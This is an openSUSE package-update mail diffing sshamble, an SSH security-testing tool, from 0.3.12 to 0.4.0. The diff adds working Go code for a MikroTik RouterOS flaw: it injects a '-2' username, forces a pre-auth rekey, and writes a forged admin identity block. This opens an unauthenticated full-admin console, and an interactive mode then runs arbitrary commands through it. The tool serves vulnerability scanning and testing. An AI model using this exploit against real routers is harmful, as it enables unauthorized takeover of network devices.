Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package sshamble for openSUSE:Factory checked in at 2026-09-11 18:05:53 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/sshamble (Old) and /work/SRC/openSUSE:Factory/.sshamble.new.1265 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Package is "sshamble" Fri Sep 11 18:05:53 2026 rev:6 rq:1377405 version:0.4.0 Changes: -------- --- /work/SRC/openSUSE:Factory/sshamble/sshamble.changes 2026-09-09 16:23:56.747024084 +0200 +++ /work/SRC/openSUSE:Factory/.sshamble.new.1265/sshamble.changes 2026-09-11 18:08:51.007717236 +0200 @@ -1,0 +2,8 @@ +Fri Sep 11 11:18:08 UTC 2026 - Martin Hauke <[email protected]> + +- Update to version 0.4 + * mikrotik: handle interactive shell better. + * fix interactive shells. + * support mikrotik sessions. + +------------------------------------------------------------------- Old: ---- sshamble-0.3.12.tar.gz New: ---- sshamble-0.4.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ sshamble.spec ++++++ --- /var/tmp/diff_new_pack.1E3iXM/_old 2026-09-11 18:08:52.118763751 +0200 +++ /var/tmp/diff_new_pack.1E3iXM/_new 2026-09-11 18:08:52.120763835 +0200 @@ -18,7 +18,7 @@ Name: sshamble -Version: 0.3.12 +Version: 0.4.0 Release: 0 Summary: Security testing toolset for SSH License: BSD-2-Clause ++++++ sshamble-0.3.12.tar.gz -> sshamble-0.4.0.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/README.md new/sshamble-0.4.0/README.md --- old/sshamble-0.3.12/README.md 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/README.md 2026-09-10 23:26:42.000000000 +0200 @@ -21,7 +21,7 @@ *(Note: on MacOS, you will likely have to disable Gatekeeper for this binary, with `sudo xattr -rd com.apple.quarantine ./sshamble`. This is not an invitation to violate your asset owner's security policy.)* -To build SSHamble from source, ensure that you have a recent version of Go (1.24+) installed. +To build SSHamble from source, ensure that you have a recent version of Go (1.27.1+) installed. You can use Go to install a binary into the `bin` directory in your GOPATH. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln.go new/sshamble-0.4.0/cmd/check_vuln.go --- old/sshamble-0.3.12/cmd/check_vuln.go 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/cmd/check_vuln.go 2026-09-10 23:26:42.000000000 +0200 @@ -13,6 +13,9 @@ // MikroTik SSH pre-auth rekey session (CVE-2026-67279) registerCheck(checkVulnMikrotikPreauthRekey, "vuln", false, true) + // MikroTik SSH login-helper fd injection (CVE-2026-86060) + registerCheck(checkVulnMikrotikFD2Inject, "vuln", false, true) + // MikroTik WebFig unauthenticated file read (CVE-2026-67281) — not yet working // registerCheck(checkVulnMikrotikWebfigTraversal, "vuln", false, true) } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2.go new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2.go --- old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2.go 2026-09-10 23:26:42.000000000 +0200 @@ -0,0 +1,433 @@ +package cmd + +import ( + "bufio" + "bytes" + "fmt" + "io" + "net" + "os" + "regexp" + "strings" + "time" + + "golang.org/x/term" + + "github.com/runZeroInc/excrypto/x/crypto/ssh" + "github.com/runZeroInc/sshamble/auth" +) + +const checkVulnMikrotikFD2Inject = "vuln-mikrotik-fd2-inject" + +// CVE-2026-86060 (MikroTrick): the RouterOS SSH login helper parses a +// positional argv starting with '-' as '-<fd>' and reads the trusted +// (name, policy-mask) fields from that descriptor. A username of "-2" makes +// the helper read them from the PTY, letting the client inject an arbitrary +// identity with the full policy mask. Combined with the CVE-2026-67279 +// pre-auth rekey (which opens the session channel without authentication), +// this yields an unauthenticated full-admin RouterOS console. +// Fixed in 7.24.2 / 7.23.4 / 6.49.21. +// +// Detection: present username "-2" with 'none' auth (rejected, but the +// username stays pending), request a rekey, open a session, request a PTY + +// shell, and write the canonical-PTY fd-2 block (name \0 policy \0 VEOF +// VEOF). Only then does the login helper spawn a RouterOS console: the +// channel open alone (CVE-2026-67279) produces no console, and the same +// injection without the pending "-2" username is ignored, so the console +// prompt is specific to CVE-2026-86060. No credentials are needed and the +// check only runs a read-only "/system resource print". +// +// https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/ + +// mikrotikFD2Block is the injected (name, policy) record read by the login +// helper from fd 2: "admin" \0 4294967295 \0 VEOF VEOF. The trailing VEOF +// bytes terminate canonical-mode line editing on the PTY. +var mikrotikFD2Block = []byte("admin\x004294967295\x00\x04\x04") + +var ( + mikrotikFD2ANSIRe = regexp.MustCompile("\x1b(?:\\[[0-?]*[ -/]*[@-~]|.)") + mikrotikFD2PromptRe = regexp.MustCompile(`@[^\[\]]{0,40}\]>`) +) + +// mikrotikFD2Squashed strips ANSI escapes and all whitespace from console +// output, so prompt detection still works when the console renders +// vertically (one character per line). +func mikrotikFD2Squashed(raw []byte) string { + plain := mikrotikFD2ANSIRe.ReplaceAll(raw, nil) + plain = bytes.ReplaceAll(plain, []byte("\r"), nil) + return strings.Join(strings.Fields(string(plain)), "") +} + +// mikrotikFD2QuerySeqs are the terminal-query escape sequences the RouterOS +// console emits to probe the terminal. We answer them ourselves and keep them +// off the user's terminal; otherwise the terminal emulator replies on stdin, +// corrupting the command stream and eventually closing the session. +var mikrotikFD2QuerySeqs = [][]byte{ + []byte("\x1b[6n"), // DSR: report cursor position + []byte("\x1bZ"), // DECID: report device attributes +} + +// mikrotikFD2TerminalFilter removes the query sequences from console output +// before it is displayed. It tolerates sequences split across calls by +// buffering trailing bytes that could begin a query. +type mikrotikFD2TerminalFilter struct { + pend []byte +} + +func (f *mikrotikFD2TerminalFilter) maxSeq() int { + m := 0 + for _, q := range mikrotikFD2QuerySeqs { + if len(q) > m { + m = len(q) + } + } + return m +} + +func (f *mikrotikFD2TerminalFilter) Filter(p []byte) []byte { + buf := append(f.pend, p...) + f.pend = f.pend[:0] + maxSeq := f.maxSeq() + out := make([]byte, 0, len(buf)) + for len(buf) > 0 { + stripped := false + for _, q := range mikrotikFD2QuerySeqs { + if bytes.HasPrefix(buf, q) { + buf = buf[len(q):] + stripped = true + break + } + } + if stripped { + continue + } + // Hold back a trailing run that could begin a query sequence. + if len(buf) < maxSeq && f.isPrefix(buf) { + f.pend = append(f.pend, buf...) + break + } + out = append(out, buf[0]) + buf = buf[1:] + } + return out +} + +func (f *mikrotikFD2TerminalFilter) isPrefix(b []byte) bool { + for _, q := range mikrotikFD2QuerySeqs { + if len(b) < len(q) && bytes.HasPrefix(q, b) { + return true + } + } + return false +} + +// mikrotikFD2Options builds the base auth options that perform the +// unauthenticated pre-auth rekey (CVE-2026-67279) with the rejected "-2" +// username pending (CVE-2026-86060). The caller supplies the session handler. +func mikrotikFD2Options(addr string, conf *ScanConfig, options *auth.Options) *auth.Options { + tname := checkVulnMikrotikFD2Inject + return options. + WithUsername("-2"). + WithIgnoreAuthError(). + WithPostAuthHandler(func(c net.Conn, uac *ssh.UnauthClientConn, r *auth.AuthResult) error { + // CVE-2026-67279: enter the connection protocol unauthenticated, + // leaving the rejected "-2" username pending for the login helper. + return mikrotikRequestRekey(addr, conf, tname, uac) + }) +} + +// mikrotikFD2OpenConsole requests a pty + shell on ses, injects the fd-2 +// identity block, and returns the session's stdin pipe. +func mikrotikFD2OpenConsole(ses *ssh.Session) (io.WriteCloser, error) { + stdIn, err := ses.StdinPipe() + if err != nil { + return nil, err + } + if err := ses.RequestPty("vt100", 24, 80, ssh.TerminalModes{}); err != nil { + return nil, err + } + if err := ses.Shell(); err != nil { + return nil, err + } + if _, err := stdIn.Write(mikrotikFD2Block); err != nil { + return nil, err + } + return stdIn, nil +} + +// mikrotikFD2AnswerProbes answers any DECID/CPR terminal probes and any [Y/n] +// nag present in raw, updating the counters so each is answered exactly once. +func mikrotikFD2AnswerProbes(raw []byte, cprAnswered *int, decidAnswered, nagAnswered *bool, w io.Writer) error { + if !*decidAnswered && bytes.Contains(raw, []byte("\x1bZ")) { + *decidAnswered = true + _, _ = w.Write([]byte("\x1b[?1;2c")) + } + if n := bytes.Count(raw, []byte("\x1b[6n")); *cprAnswered < n { + for *cprAnswered < n { + *cprAnswered = *cprAnswered + 1 + if _, err := w.Write([]byte("\x1b[24;80R")); err != nil { + return err + } + } + } + if !*nagAnswered && strings.Contains(mikrotikFD2Squashed(raw), "[Y/n]") { + *nagAnswered = true + _, _ = w.Write([]byte("n")) + } + return nil +} + +// mikrotikFD2DriveConsole answers the RouterOS console's DECID/CPR terminal +// probes and any [Y/n] nag until the admin prompt appears, then returns nil. +// The console's initial handshake must complete before the first command is +// sent; sending input too early breaks the console and closes the session. +func mikrotikFD2DriveConsole(stdOut *auth.SyncByteBuffer, w io.Writer, timeout time.Duration) error { + deadline := time.Now().Add(timeout) + cprAnswered := 0 + decidAnswered := false + nagAnswered := false + for time.Now().Before(deadline) { + raw := stdOut.Peek() + if err := mikrotikFD2AnswerProbes(raw, &cprAnswered, &decidAnswered, &nagAnswered, w); err != nil { + return err + } + if mikrotikFD2PromptRe.MatchString(mikrotikFD2Squashed(raw)) { + return nil + } + time.Sleep(time.Millisecond * 50) + } + return fmt.Errorf("no RouterOS console prompt") +} + +// mikrotikFD2RunCommand establishes a fresh unauthenticated fd-2 console, runs +// cmd, and returns the cleaned console output. RouterOS does not keep the +// injected PTY console usable across commands on a persistent session, so each +// command re-runs the one-shot sequence proven by the detection check: rekey, +// pty+shell, fd-2 identity injection, drive to the prompt, then one command. +func mikrotikFD2RunCommand(addr string, conf *ScanConfig, options *auth.Options, cmd string) (string, error) { + tname := checkVulnMikrotikFD2Inject + + o := mikrotikFD2Options(addr, conf, options). + WithSessionHandler(func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, r *auth.AuthResult) error { + _ = c.SetDeadline(time.Now().Add(time.Second * 25)) + + stdOut := auth.NewSyncByteBuffer(1024 * 64) + ses.Stdout = stdOut + ses.Stderr = stdOut + stdIn, err := mikrotikFD2OpenConsole(ses) + if err != nil { + return err + } + if err := mikrotikFD2DriveConsole(stdOut, stdIn, 20*time.Second); err != nil { + return err + } + + mark := len(mikrotikFD2Squashed(stdOut.Peek())) + if _, err := stdIn.Write([]byte(cmd + "\r")); err != nil { + return err + } + + // Wait for the prompt to reappear (command complete) or a timeout. + deadline := time.Now().Add(10 * time.Second) + for time.Now().Before(deadline) { + squashed := mikrotikFD2Squashed(stdOut.Peek()) + if len(squashed) > mark && mikrotikFD2PromptRe.MatchString(squashed[mark:]) { + break + } + time.Sleep(time.Millisecond * 50) + } + r.SessionOutput = auth.CleanSessionOutput(stdOut.Peek()) + return nil + }) + + var res *auth.AuthResult + for attempt := 1; attempt <= 3; attempt++ { + res = auth.SSHAuth(addr, o, auth.SSHAuthHandlerSingle(ssh.None())) + if res.Stage == "session" { + break + } + conf.Logger.Debugf("%s %s run command attempt %d failed (stage %s): %v", addr, tname, attempt, res.Stage, res.Error) + time.Sleep(time.Second) + } + if res.Stage != "session" || res.SessionOutput == "" { + return "", fmt.Errorf("unable to establish console: %v", res.Error) + } + return res.SessionOutput, nil +} + +// mikrotikFD2Display prepares raw console output for the terminal: strips ANSI +// escapes, normalizes CR to LF, drops the injected identity echo and startup +// log spam by starting at the command echo, and removes RouterOS prompt lines. +func mikrotikFD2Display(cmd, raw string) string { + b := mikrotikFD2ANSIRe.ReplaceAll([]byte(raw), nil) + b = bytes.ReplaceAll(b, []byte("\r"), []byte("\n")) + b = bytes.ReplaceAll(b, []byte{0}, nil) + s := string(b) + + if idx := strings.Index(s, cmd); idx >= 0 { + s = s[idx:] + } + + var out []string + for _, ln := range strings.Split(s, "\n") { + t := strings.TrimSpace(ln) + if t == "" { + continue + } + // Drop RouterOS prompt lines ("[0@host] >"). + if strings.HasPrefix(t, "[") && strings.HasSuffix(t, ">") { + continue + } + out = append(out, strings.TrimRight(ln, " \t")) + } + return strings.Join(out, "\n") +} + +// sshInteractVulnMikrotikFD2Inject drives the unauthenticated CVE-2026-86060 +// RouterOS admin console as a line-based repl. Each command establishes a fresh +// fd-2 console because RouterOS terminates the injected PTY console rather than +// keeping it usable across commands. +func sshInteractVulnMikrotikFD2Inject(addr string, conf *ScanConfig, options *auth.Options, root *auth.AuthResult) *auth.AuthResult { + tname := checkVulnMikrotikFD2Inject + + if fd := int(os.Stdin.Fd()); !term.IsTerminal(fd) { + conf.Logger.Errorf("%s %s interact requires a controlling terminal", addr, tname) + return nil + } + + fmt.Printf("\r\nMikroTik RouterOS admin console via '-2' fd injection on %s\r\n", addr) + fmt.Printf("Type RouterOS commands, or 'exit' to quit.\r\n\r\n") + + reader := bufio.NewReader(os.Stdin) + for { + fmt.Printf("[admin@%s] > ", addr) + line, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + fmt.Printf("\r\n") + return nil + } + conf.Logger.Errorf("%s %s stdin read failed: %v", addr, tname, err) + return nil + } + line = strings.TrimSpace(line) + if line == "" { + continue + } + switch strings.ToLower(line) { + case "exit", "quit", ".": + return nil + } + + out, err := mikrotikFD2RunCommand(addr, conf, options, line) + if err != nil { + conf.Logger.Errorf("%s %s cannot run %q: %v", addr, tname, line, err) + continue + } + display := mikrotikFD2Display(line, out) + if display == "" { + fmt.Printf("(no output)\r\n") + } else { + _, _ = os.Stdout.WriteString(display) + _, _ = os.Stdout.WriteString("\r\n") + os.Stdout.Sync() + } + } +} + +func sshCheckVulnMikrotikFD2Inject(addr string, conf *ScanConfig, options *auth.Options, root *auth.AuthResult) *auth.AuthResult { + tname := checkVulnMikrotikFD2Inject + if !conf.IsCheckEnabled(tname) { + return nil + } + + conf.Logger.Debugf("%s %s is running", addr, tname) + + o := mikrotikFD2Options(addr, conf, options). + WithSessionHandler(func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, r *auth.AuthResult) error { + _ = c.SetDeadline(time.Now().Add(time.Second * 25)) + + stdOut := auth.NewSyncByteBuffer(1024 * 64) + ses.Stdout = stdOut + ses.Stderr = stdOut + stdIn, err := mikrotikFD2OpenConsole(ses) + if err != nil { + return err + } + + // Drive the console to the admin prompt, answering its DECID/CPR + // terminal probes, before running the read-only proof command. + if err := mikrotikFD2DriveConsole(stdOut, stdIn, 20*time.Second); err != nil { + return err + } + mark := len(mikrotikFD2Squashed(stdOut.Peek())) + if _, err := stdIn.Write([]byte("/system resource print\r")); err != nil { + return err + } + + // Wait for the proof output to appear after the prompt. + deadline := time.Now().Add(10 * time.Second) + for time.Now().Before(deadline) { + squashed := mikrotikFD2Squashed(stdOut.Peek()) + if strings.Contains(squashed[mark:], "version:") { + r.SessionOutput = auth.CleanSessionOutput(stdOut.Peek()) + return nil + } + time.Sleep(time.Millisecond * 50) + } + return fmt.Errorf("no RouterOS console output after fd-2 injection") + }) + + // ssh.None() is rejected as expected; IgnoreAuthError keeps the + // connection open so the rekey + channel open follow. The rekey/channel-open + // ordering is racy, so retry a few times before giving up. + var res *auth.AuthResult + for attempt := 1; attempt <= 3; attempt++ { + res = auth.SSHAuth(addr, o, auth.SSHAuthHandlerSingle(ssh.None())) + if res.Stage == "session" { + break + } + conf.Logger.Debugf("%s %s attempt %d did not open a session (stage %s): %v", addr, tname, attempt, res.Stage, res.Error) + time.Sleep(time.Second) + } + if res.Stage != "session" { + conf.Logger.Debugf("%s %s did not open a session: %v", addr, tname, res.Error) + return nil + } + if res.SessionOutput == "" { + // The channel opened (CVE-2026-67279 territory) but the fd-2 + // injection produced no console, so CVE-2026-86060 does not apply. + conf.Logger.Debugf("%s %s session opened but no console appeared: %v", addr, tname, res.Error) + return nil + } + + // Attribute to RouterOS before naming the CVE: either the server banner + // (SSH-2.0-ROSSSH) or the proof command output must look like RouterOS. + if !mikrotikPreauthRekeyIsRouterOS(res.Version, res.SessionOutput) { + conf.Logger.Warnf("%s %s console appeared after fd-2 injection, but the service (%q) does not look like RouterOS; not reporting CVE-2026-86060", addr, tname, res.Version) + return nil + } + + version := mikrotikParseRouterOSVersion(res.SessionOutput) + conf.Logger.Warnf("%s %s unauthenticated full-admin console via '-2' fd injection", addr, tname) + if version != "" { + conf.Logger.Infof("%s %s RouterOS version: %s", addr, tname, version) + } + + proof := fmt.Sprintf("CVE-2026-86060: unauthenticated RouterOS console via '-2' login-helper fd injection (server: %s)", res.Version) + if version != "" { + proof += fmt.Sprintf(". RouterOS version: %s", version) + } + + root.AddVuln(auth.VulnResult{ + ID: tname, + Ref: "https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/", + Proof: proof, + }) + + res.SessionMethod = tname + root.SessionMethod = tname + root.SessionOutput = res.SessionOutput + + return res +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2_test.go new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2_test.go --- old/sshamble-0.3.12/cmd/check_vuln_mikrotik_fd2_test.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.4.0/cmd/check_vuln_mikrotik_fd2_test.go 2026-09-10 23:26:42.000000000 +0200 @@ -0,0 +1,65 @@ +package cmd + +import "testing" + +func TestMikrotikFD2SquashedPrompt(t *testing.T) { + // Real 7.24.1 console transcript fragment: log lines, escapes, then the prompt + raw := []byte("\x1b[24;1H\r\n2026-09-08 06:08:18 system,error,critical router was rebooted without proper shutdown\r\n" + + "\x1b[6n\r[0@CHR] > ") + squashed := mikrotikFD2Squashed(raw) + if !mikrotikFD2PromptRe.MatchString(squashed) { + t.Errorf("prompt not detected in squashed transcript %q", squashed) + } +} + +func TestMikrotikFD2SquashedVertical(t *testing.T) { + // Vertically-rendered prompt (one character per line) must still match + raw := []byte("[\r\n0\r\n@\r\nC\r\nH\r\nR\r\n]\r\n \r\n>\r\n") + squashed := mikrotikFD2Squashed(raw) + if !mikrotikFD2PromptRe.MatchString(squashed) { + t.Errorf("vertical prompt not detected in squashed transcript %q", squashed) + } +} + +func TestMikrotikFD2NoPrompt(t *testing.T) { + for _, raw := range [][]byte{ + []byte(""), + []byte("login as: "), + []byte("\x1b[6n\x1b[6n"), + []byte("2026-09-08 06:08:18 system,error,critical router was rebooted\r\n"), + } { + if squashed := mikrotikFD2Squashed(raw); mikrotikFD2PromptRe.MatchString(squashed) { + t.Errorf("false prompt detection in %q", squashed) + } + } +} + +func TestMikrotikFD2TerminalFilter(t *testing.T) { + cases := []struct { + in []byte + want string + }{ + {[]byte("[0@MikroTik] > \x1b[6n"), "[0@MikroTik] > "}, + {[]byte("\x1bZ[0@MikroTik] > "), "[0@MikroTik] > "}, + {[]byte("plain text"), "plain text"}, + {[]byte("\x1b[24;80R"), "\x1b[24;80R"}, // not a query, passed through + } + + for _, tc := range cases { + var f mikrotikFD2TerminalFilter + got := string(f.Filter(tc.in)) + if got != tc.want { + t.Errorf("Filter(%q) = %q, want %q", tc.in, got, tc.want) + } + } +} + +func TestMikrotikFD2TerminalFilterSplit(t *testing.T) { + // A query sequence split across two writes must still be stripped. + var f mikrotikFD2TerminalFilter + got := string(f.Filter([]byte("abc\x1b["))) + got += string(f.Filter([]byte("6n] > "))) + if got != "abc] > " { + t.Errorf("split filter got %q, want %q", got, "abc] > ") + } +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go new/sshamble-0.4.0/cmd/check_vuln_mikrotik_rekey.go --- old/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/cmd/check_vuln_mikrotik_rekey.go 2026-09-10 23:26:42.000000000 +0200 @@ -19,10 +19,11 @@ // unauthenticated client can open a session channel (and dispatch exec // requests) without any credentials. Fixed in 7.24.2 / 7.23.4 / 6.49.21. // -// This check needs no credentials and no victim key material: it requests a -// rekey immediately after the initial key exchange, skips the userauth -// service entirely, and tries to open a session channel. A patched server -// (and any sane sshd) refuses the channel; a vulnerable RouterOS accepts it. +// This check needs no credentials and no victim key material: it presents +// 'none' authentication (which RouterOS rejects, leaving the username pending +// in an incomplete userauth state), requests a rekey, and then tries to open +// a session channel. A patched server (and any sane sshd) refuses the channel; +// a vulnerable RouterOS accepts it. // // https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/ @@ -36,7 +37,7 @@ run := func(rekey bool) *auth.AuthResult { o := options. - WithSkipStages("ssh-userauth", "auth"). + WithIgnoreAuthError(). WithSessionHandler(func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, r *auth.AuthResult) error { _ = c.SetDeadline(time.Now().Add(time.Second * 15)) out, err := ses.CombinedOutput("/system resource print") @@ -52,26 +53,30 @@ return nil }) if rekey { - // Trigger a client-requested rekey while still unauthenticated. - // Packets written afterwards (the channel open) are queued by the - // transport and flushed once the rekey completes. + // Trigger a client-requested rekey while the rejected "none" auth + // leaves the username pending (incomplete userauth state). o = o.WithPostAuthHandler(func(c net.Conn, uac *ssh.UnauthClientConn, r *auth.AuthResult) error { - if err := uac.RequestKeyExchange(); err != nil { - conf.Logger.Debugf("%s %s rekey request failed: %v", addr, tname, err) - return err - } - conf.Logger.Tracef("%s %s pre-auth rekey requested", addr, tname) - return nil + return mikrotikRequestRekey(addr, conf, tname, uac) }) } - // ssh.None() is never reached (the auth stage is skipped); it only - // satisfies the SSHAuth signature. + // ssh.None() is rejected as expected; IgnoreAuthError keeps the + // connection open so the rekey + channel open follow. return auth.SSHAuth(addr, o, auth.SSHAuthHandlerSingle(ssh.None())) } - res := run(true) + // The rekey/channel-open ordering is racy, so retry the positive probe a + // few times before concluding the server is not vulnerable. + var res *auth.AuthResult + for attempt := 1; attempt <= 3; attempt++ { + res = run(true) + if res.Stage == "session" { + break + } + conf.Logger.Debugf("%s %s attempt %d did not open a pre-auth session after rekey (stage %s): %v", addr, tname, attempt, res.Stage, res.Error) + time.Sleep(time.Second) + } if res.Stage != "session" { - conf.Logger.Debugf("%s %s did not open a pre-auth session after rekey (stage %s): %v", addr, tname, res.Stage, res.Error) + conf.Logger.Debugf("%s %s did not open a pre-auth session after rekey: %v", addr, tname, res.Error) return nil } @@ -111,10 +116,12 @@ Proof: proof, }) - res.SessionMethod = tname - root.SessionMethod = tname + // Report the CVE but do not claim a usable session: the channel open alone + // (CVE-2026-67279) yields no console, so interacting via this method would + // fail and, worse, would short-circuit the scan before the fd-2 injection + // check (CVE-2026-86060) can obtain the actual admin console. + res.SessionMethod = "" root.SessionOutput = res.SessionOutput - root.ExitStatus = res.ExitStatus return res } @@ -136,3 +143,19 @@ } return m[1] } + +// mikrotikRequestRekey triggers a client-requested rekey and waits briefly for +// the transport's kex goroutine to send KEXINIT. The wait ensures the channel +// open that follows is queued during the rekey (or written after it completes) +// rather than racing ahead of it; if the channel open is written first, the +// still-authenticated server rejects it before the rekey can reset its userauth +// state, which is the intermittent "ssh: disconnect, reason 2" failure mode. +func mikrotikRequestRekey(addr string, conf *ScanConfig, tname string, uac *ssh.UnauthClientConn) error { + if err := uac.RequestKeyExchange(); err != nil { + conf.Logger.Debugf("%s %s rekey request failed: %v", addr, tname, err) + return err + } + time.Sleep(100 * time.Millisecond) + conf.Logger.Tracef("%s %s pre-auth rekey requested", addr, tname) + return nil +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/cmd/cmd_scan.go new/sshamble-0.4.0/cmd/cmd_scan.go --- old/sshamble-0.3.12/cmd/cmd_scan.go 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/cmd/cmd_scan.go 2026-09-10 23:26:42.000000000 +0200 @@ -714,6 +714,7 @@ vulnChecks := []sshCheckFunc{ sshCheckVulnMikrotikPubkey, sshCheckVulnMikrotikPreauthRekey, + sshCheckVulnMikrotikFD2Inject, sshCheckVulnExecSkipUserAuth, sshCheckVulnExecSkipAuth, } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/cmd/interact.go new/sshamble-0.4.0/cmd/interact.go --- old/sshamble-0.3.12/cmd/interact.go 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/cmd/interact.go 2026-09-10 23:26:42.000000000 +0200 @@ -58,6 +58,8 @@ res = sshCheckSkipAuthPubkeyAny(addr, conf, options, root) case checkSkipAuthSuccess: res = sshCheckSkipAuthSuccess(addr, conf, options, root) + case checkVulnMikrotikFD2Inject: + res = sshInteractVulnMikrotikFD2Inject(addr, conf, options, root) default: return fmt.Errorf("interact is not yet implemented for %s", root.SessionMethod) } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/go.mod new/sshamble-0.4.0/go.mod --- old/sshamble-0.3.12/go.mod 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/go.mod 2026-09-10 23:26:42.000000000 +0200 @@ -36,5 +36,3 @@ golang.org/x/text v0.41.0 // indirect gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect ) - -replace github.com/runZeroInc/excrypto => github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.12/go.sum new/sshamble-0.4.0/go.sum --- old/sshamble-0.3.12/go.sum 2026-09-07 21:41:04.000000000 +0200 +++ new/sshamble-0.4.0/go.sum 2026-09-10 23:26:42.000000000 +0200 @@ -17,12 +17,12 @@ github.com/logrusorgru/aurora/v3 v3.0.0/go.mod h1:vsR12bk5grlLvLXAYrBsb5Oc/N+LxAlxggSjiwMnCUc= github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3 h1:2YMbJ6WbdQI9K73chxh9OWMDsZ2PNjAIRGTonp3T0l0= github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3/go.mod h1:LQkXsHRSPIEklPCq8OMQAzYNS2NGtYStdNE/ej1oJU8= -github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 h1:U728YNUJrCpd83oxpTZw+xXK9+toDGrrRI/YQTq9U2w= -github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370/go.mod h1:CQo6LfXwh+dpf0OA7wO4MLUCDJAqIKVq/SSAQsg6TP0= github.com/pelletier/go-toml/v2 v2.4.3 h1:GTRvJQutkOSftxIFD5xw9aepkYNuPWmVJpffdDPYVpY= github.com/pelletier/go-toml/v2 v2.4.3/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/runZeroInc/excrypto v0.43.2 h1:ngXpeP+zrsXeCw3LF8i6u/9BQiWLPpYz1yopjhkF1H0= +github.com/runZeroInc/excrypto v0.43.2/go.mod h1:CQo6LfXwh+dpf0OA7wO4MLUCDJAqIKVq/SSAQsg6TP0= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sagikazarmark/locafero v0.12.0 h1:/NQhBAkUb4+fH1jivKHWusDYFjMOOKU88eegjfxfHb4= github.com/sagikazarmark/locafero v0.12.0/go.mod h1:sZh36u/YSZ918v0Io+U9ogLYQJ9tLLBmM4eneO6WwsI= ++++++ vendor.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go --- old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go 2026-09-07 21:41:04.000000000 +0200 +++ new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go 2026-09-10 23:26:42.000000000 +0200 @@ -130,9 +130,11 @@ } // RequestKeyExchange initiates a client-requested key re-exchange (rekey) -// on the underlying transport and blocks until the exchange completes, -// returning the exchange's error, if any. On return, subsequent packets are -// guaranteed to be sent over the rekeyed transport. +// on the underlying transport, without waiting for it to complete. Packets +// written while the re-exchange is in progress are queued by the transport +// and flushed once it finishes, so callers can continue using the connection +// immediately; if the re-exchange fails, the error surfaces on the next +// read or write. // // This enables pre-authentication state-transition research, e.g. probing // how a server handles connection-protocol messages after a rekey that was @@ -145,7 +147,8 @@ if !ok { return errors.New("ssh: transport does not support client-requested rekey") } - return ht.requestKeyExchangeSync() + ht.requestKeyExchange() + return nil } func (uac *UnauthClientConn) RequestUserAuth() (map[string][]byte, error) { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go 